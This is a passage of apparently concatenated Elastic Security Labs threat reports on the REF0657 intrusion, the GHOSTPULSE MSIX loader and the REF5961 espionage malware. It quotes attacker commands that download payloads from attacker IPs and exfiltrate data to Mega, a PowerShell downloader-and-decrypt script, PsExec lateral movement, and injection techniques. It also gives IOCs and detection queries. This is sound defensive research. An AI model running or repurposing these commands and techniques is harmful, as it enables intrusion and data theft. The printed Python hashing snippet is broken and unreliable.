ht""""tp://206.237.3.150:443/megacmd.exe \ 
C:\users\public\downloads\ms_edge.exe

Shortly after, we observed this utility being executed with an argument to a configuration file (called tmp) and a compressed file stored with a backup extension (.bak) being used in conjunction with Mega.

C:\users\public\downloads\ms_edge.exe  --config \ 
C:\users\public\downloads\tmp copy \ 
REDACTED_FILENAME.bak mega_temp:

Infrastructure

Throughout this investigation, the threat group used several servers to host their payloads or forward network traffic. The Elastic Security Labs team discovered two web servers with open directories hosting files publicly reachable on:

206.237.3[.]150
206.237.0[.]49

!Open directory at 206.237.3[.]150

In addition, our team observed Supershell panel, a Chinese-based C2 platform running on 206.237.[0].49:8888.

!Supershell Panel on 206.237.0[.]49

We validated an earlier finding in the previous section when we found a configuration file (referred to as tmp in the Exfiltration section) used for automation with the Mega platform containing credentials used by the adversary. As well, there was a variety of web shell files and scripts originating from the following public repositories:

Furthermore, within these directories, we identified a few interesting binaries:

cloud_init

One of the files (cloud_init) is a Golang ELF binary packed with UPX. After inspection, it was determined that it was compiled from the NPS repository, another intranet proxy server compatible with most common protocols. The threat actor altered the code to encrypt the strings during compilation. The decryption process uses separate byte arrays where the bytes of one array are combined with the bytes of the other array, employing operations such as addition, XOR, or subtraction for the decryption.

MSASN1.dll

After review, this DLL matched the same functionality/code as the previously discussed file (msvcp140.dll).

REF0657 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. The adversary’s tactical goal is the reason for performing an action. The tactics observed in REF0657 were:

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action. Elastic Security Labs observed the following techniques within REF0657:

Summary

In summary, this intrusion highlighted some new tooling while re-emphasizing that not all intrusions are dictated by novel malware and techniques. These types of threats demonstrate the real-world challenges most organizations are faced with daily.

The threat group moved very quickly in this environment, where within almost 24 hours, meaningful data to the attacker was extracted from the network. Sharing some of these details can help defenders plug possible holes or gaps in coverage from some of these techniques.

The Diamond Model

Detecting REF0657

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

Detection

Prevention

Hunting queries in Elastic

Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

ES|QL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below ES|QL queries to hunt for similar behaviors:

FROM logs-*
  WHERE process.parent.name == "sqlservr.exe" 
  AND process.name == "cmd.exe" 
  AND process.command_line 
  RLIKE ".*certutil.*"

FROM logs-*
  WHERE process.name == "ms_edge.exe" 
  AND process.code_signature.exists == false 
  AND NOT process.executable 
  RLIKE ".*Program Files.*"

YARA

Elastic Security has created the following YARA rules to identify this activity:

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-------------|-------------|--------------------------------------------| | 206.237.3[.]150 | ipv4-addr | | File hosting infrastructure | | 206.237.0[.]49 | ipv4-addr | | File hosting and supershell infrastructure | | 104.21.54[.]126 | ipv4-addr | | Cobalt Strike infrastructure | | 149.104.23[.]176 | ipv4-addr | | | | msedge[.]one | domain-name | | Cobalt Strike infrastructure | | bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716 | SHA-256 | mscoree.dll | | | 84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d | SHA-256 | MSASN1.dll | |

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

GHOSTPULSE haunts victims using defense evasion bag o' tricks

Salim Bitam,Joe Desimone — Fri, 27 Oct 2023 00:00:00 GMT

Update

In October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out here.

Preamble

Elastic Security Labs has observed a campaign to compromise users with signed MSIX application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.

MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With App Installer, MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.

In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through compromised websites, search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.

From the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.

Malware Analysis

The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.

Stage 0

We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from manojsinghnegi[.]com/2.tar.gpg.

Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:

putin - the passphrase for the GPG file
--batch - execute GPG in non-interactive mode
--yes - answer “yes” to any prompts
--passphrase-fd 0 - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin
--decrypt - decrypt a file
--output - what to save the decrypted file as

# 1
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
$outputPath = "$env:APPDATA\$xxx.gpg"
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg

The GPG utility is included in the malicious MSIX installer package.

The decrypted file is a tar archive containing an executable VBoxSVC.exe which is in reality a renamed signed gup.exe executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example handoff.wav and a mostly benign library libcurl.dll with one of its functions overwritten with malicious code. The PowerShell executes the binary VBoxSVC.exe that will side load from the current directory the malicious DLL libcurl.dll. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.

Stage 1

The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the DllEntryPoint phase.

The process is initiated by pinpointing the base address of the malicious DLL of libcurl.dll, achieved through parsing the InLoadOrderModuleList API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.

Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the InLoadOrderModuleList structure within the Process Environment Block (PEB).

# Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&0xFFFFFFFF
    return value

Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:

struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};

It then proceeds with its operation by reading and parsing the file named handoff.wav from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.

The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:

struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};

size_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.
xor_key: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction
size_of_encrypted_blob: Denotes the overall size of the encrypted blob, which is stored in chunks within the file
first_chunk: Marks the start of the first chunk of data in memory

In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:

struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};

size_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.
n_chunk: Marks the start of the chunk of data in memory

The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key xor_key.

At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the RtlDecompressBuffer api.

The malware proceeds by loading a specified library stored in its configuration, in this case, mshtml.dll, utilizing the LoadLibraryW function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.

This technique is known as “module stomping”. The following image shows the associated VirtualProtect API calls captured with Elastic Defend associated with the module stomping:

Stage 2

Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism. The following is the IAT structure of stage 2:

struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};

Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded ntdll.dll library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of ntdll.dll and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the ntdll.dll library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.

The following is the structure used by the malware to store NT API offsets:

struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};

GHOSTPULSE has the ability to establish persistence, if configured to, by generating an .lnk file that points to the Stage 1 binary, denoted as VBoxSVC.exe. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.

It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value 0xA1B2D3B4. Finally, the encrypted data is saved to a file in the user's temporary folder. It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value 0xA1B2D3B4. Finally, the encrypted data is saved to a file in the user's temporary folder.

The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit cmd.exe in this case. It then adds an environment variable to the child process with a random name, example: GFHZNIOWWLVYTESHRTGAVC, pointing to the previously created temporary file.

Further, the malware proceeds by creating a section object and mapping a view of it to mshtml.dll in the child process using the ZwCreateSection and ZwMapViewOfSection APIs.

The legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API as shown in the following image:

The parent process promptly terminates itself.

Stage 3

The objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the "heaven’s gate" technique.

Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure Wow64FsRedirection, if configured to do so.

Following this, Stage 3 accesses the environment variable that was set earlier, in our case GFHZNIOWWLVYTESHRTGAVC, retrieves the associated temporary file and proceeds to decrypt its contents.

The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.

GHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:

Calls the CreateTransaction API to initial a transaction
Creates a transaction file with a random file name in temp folder with the ZwCreateFile API
Writes the payload to the temp file using the ZwWriteFile API
Creates a section of the transaction file with ZwCreateSection API
At this point the file is not needed anymore, the malware calls the RollbackTransaction API to roll the transaction back
GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample 1msbuild.exe1
It maps a view of the section to the process with the ZwMapViewOfSection API
It sets the child process thread instruction pointer to the entry point of the final payload with the NtSetContextThread API
Finally it resumes the thread with the NtResumeThread API

Final Payload

The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was 195.201.198[.]179 over TCP port 15647 as shown below:

Configuration extractor

Alongside this research, the Elastic Security Research Team has provided a configuration extractor to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.

Detection Guidance

Elastic Defend detects this threat with the following behavior protection rules:

DNS Query to Suspicious Top Level Domain
Library Load of a File Written by a Signed Binary Proxy
Suspicious API Call from an Unsigned DLL
Suspicious Memory Write to a Remote Process
Process Creation from Modified NTDLL

The following yara rule will also detect GHOSTPULSE loaders on disk:

Windows.Trojan.GhostPulse

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-------------|-----------------|-----------------------------| | 78.24.180[.]93 | ip-v4 | | Stage 0 C2 IP | | manojsinghnegi[.]com | domain-name | | Stage 0 C2 domain | | manojsinghnegi[.]com/2.tar.gpg | url | | Stage 0 C2 URL | | 0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20 | sha256 | Chrome-x64.msix | Malicious MSIX | | ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8 | sha256 | Brave-x64.msix | Malicious MSIX | | 4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356 | sha256 | Webex.msix | Malicious MSIX | | eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61 | sha256 | new1109.ps1 | PowerShell Downloader | | 49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9 | sha256 | 38190626900.rar | GHOSTPULSE tar archive | | Futurity Designs Ltd | Code signer | | Chrome-x64.msix code signer | | Fodere Titanium Limited | Code signer | | Brave-x64.msix code signer | | IMPERIOUS TECHNOLOGIES LIMITED | Code signer | | Webex.msix code signer |

References

Introducing the REF5961 intrusion set

Daniel Stepanic,Salim Bitam,Cyril François,Seth Goodwin,Andrew Pease — Wed, 04 Oct 2023 00:00:00 GMT

Preamble

Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.

Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.

In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.

The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting here and updated here). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).

Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.

Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth here.

Key takeaways

Elastic Security Labs is disclosing three new malware families:
EAGERBEE
RUDEBIRD
DOWNTOWN
Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns
The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities

EAGERBEE

EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.

During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

Code analysis

EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.

Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.

After resolving all the required Windows APIs, the malware creates a mutex with the string mstoolFtip32W to prevent multiple instances of the malware from running on the same machine.

The malware gathers key information about the compromised system:

The computer's name is obtained using the GetComputerNameW function
The malware retrieves the Windows version by utilizing the GetVersionExW function
A globally unique identifier (GUID) is generated through the CoCreateGuid function
The processor architecture information is acquired using the GetNativeSystemInfo function
The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion

The sample’s operational schedule is controlled by the string 0-5:00:23;6:00:23;. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:

active from Sunday(0) to Friday(5)
all hours between 00 and 23
Saturday(6) all hours between 00 and 23

This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.

The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named c:\users\public\iconcache.mui. This file is decrypted using the first character as the decryption key.

This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure IP:PORT, where the character s is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.

The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.

A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.

In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.

When operating in active connection mode, the malware attempts to load its configuration from the file c:\users\public\iconcache.mui. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs

The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.

Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.

The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the ProxyEnable registry key within Software\Microsoft\windows\CurrentVersion\Internet Settings. If this key value is set to 1, the malware extracts the information in the ProxyServer key.

If no proxy server is set, the malware connects directly to C2.

However, if the proxy settings are defined, the malware also initializes the proxy by sending a CONNECT request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote DONNECT instead of CONNECT in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.

Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.

EAGERBEE connection to a Mongolian campaign

During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE samples involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (iconcache.mui for EAGERBEE and iconcaches.mui in the Mongolian campaign). The samples consisted of multiple files and a lure document.

While analyzing the Mongolian campaign samples, we found a previous webpage (http://president[.]mn/en/ebooksheets.php) hosted under Mongolian infrastructure serving a RAR file named 20220921_2.rar. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.

The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important topic in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.

For this infection chain, they leveraged a signed Kaspersky application in order to sideload a malicious DLL. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (www.president[.]mn/upload.php) via cURL. Persistence is configured using a Registry Run Key.

Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate. Based on string formatting and underlying behavior, this sample aligns with public reporting from AVAST related to a utility they call DataExtractor1.

While we didn’t find a WinRAR archive for the other linked sample, we found this related executable. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (https://intranet.gov[.]mn/upload.php).

While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.

EAGERBEE Summary

EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.

Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.

RUDEBIRD

Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.

Initial execution

The backdoor was executed by a file with an invalid signature, C:\Windows\help\RVTDM.exe, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.

The process was executed with the parent process (w3wp.exe) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.

Lateral movement

RUDEBIRD used PsExec (exec.exe) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.

"C:\windows\help\exec.exe" /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE

Code analysis

RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the kernel32.dll and ntdll.dll modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.

RUDEBIRD uses a straightforward API hashing algorithm with multiplication (0x21) and addition that is publicly available from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.

After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:

Hostname
Computer name
Username
IP Address
System architecture
Privilege of the current user

For some functions that return larger amounts of data, the malware implements compression using RtlCompressBuffer. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:

45.90.58[.]103
185.195.237[.]123

Strangely, there are several functions throughout the program that include calls to OutputDebugStringA. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.

RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to VV.0.

After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:

Retrieve victim’s desktop directory path
Retrieve disk volume information
Perform file/directory enumeration
Perform file operations such as reading/writing file content
Launch new processes
File/folder operations such as creating new directories, move/copy/delete/rename files
Beacon timeout option

DOWNTOWN (SManager/PhantomNet)

In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware SManager/PhantomNet. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.

SManager/PhantomNet has been attributed to TA428 (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.

Code analysis

For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published research by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, GetPluginInfomation (note: Infomation is missing an r). The victimology of REF2924 is consistent with their reported victim vertical and region.

In our sample, the plugin is labeled as “ExplorerManager”.

The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.

In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using OutputDebugStringA. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).

Some functionality observed in the sample included:

File/folder enumeration
Disk enumeration
File operations (delete/execute/rename/copy)

Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.

DOWNTOWN Summary

DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.

Network infrastructure intersection

When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.

Shared network infrastructure

As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: 185.82.217[.]164 and 195.123.245[.]79.

Of the two, 185.82.217[.]164 had an expired TLS certificate registered to it for paper.hosted-by-bay[.]net. The subdomain registration for paper.hosted-by-bay[.]net and the TLS certificate were registered on December 14, 2020.

!paper.hosted-by-bay[.]net TLS certificate

As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: 45.90.58[.]103 and 185.195.237[.]123.

45.90.58[.]103 was used to register the subdomain news.hosted-by-bay[.]net, on December 13, 2020.

Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (paper.hosted-by-bay[.]net and news.hosted-by-bay[.]net) within one day at the domain hosted-by-bay[.]net.

Note: While 195.123.245[.]79 (EAGERBEE) and 185.195.237[.]123 (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by 185.82.217[.]164 (EAGERBEE) and 45.90.58[.]103 (RUDEBIRD).

Domain analysis

When performing an analysis of the hosted-by-bay[.]net domain, we see that it is registered to the IP address 45.133.194[.]106. This IP address exposes two TCP ports, one is the expected TLS port of 443, and the other is 62753.

Note: Port 443 has a Let’s Encrypt TLS certificate for paypal.goodspaypal[.]com. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.

On port 62753, there was a self-signed wildcard TLS leaf certificate with a fingerprint of d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59 (*.REDACTED[.]mn). This fingerprint is used for one host, shop.REDACTED[.]mn. The 10-year TLS certificate was registered on December 13, 2020.

Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn

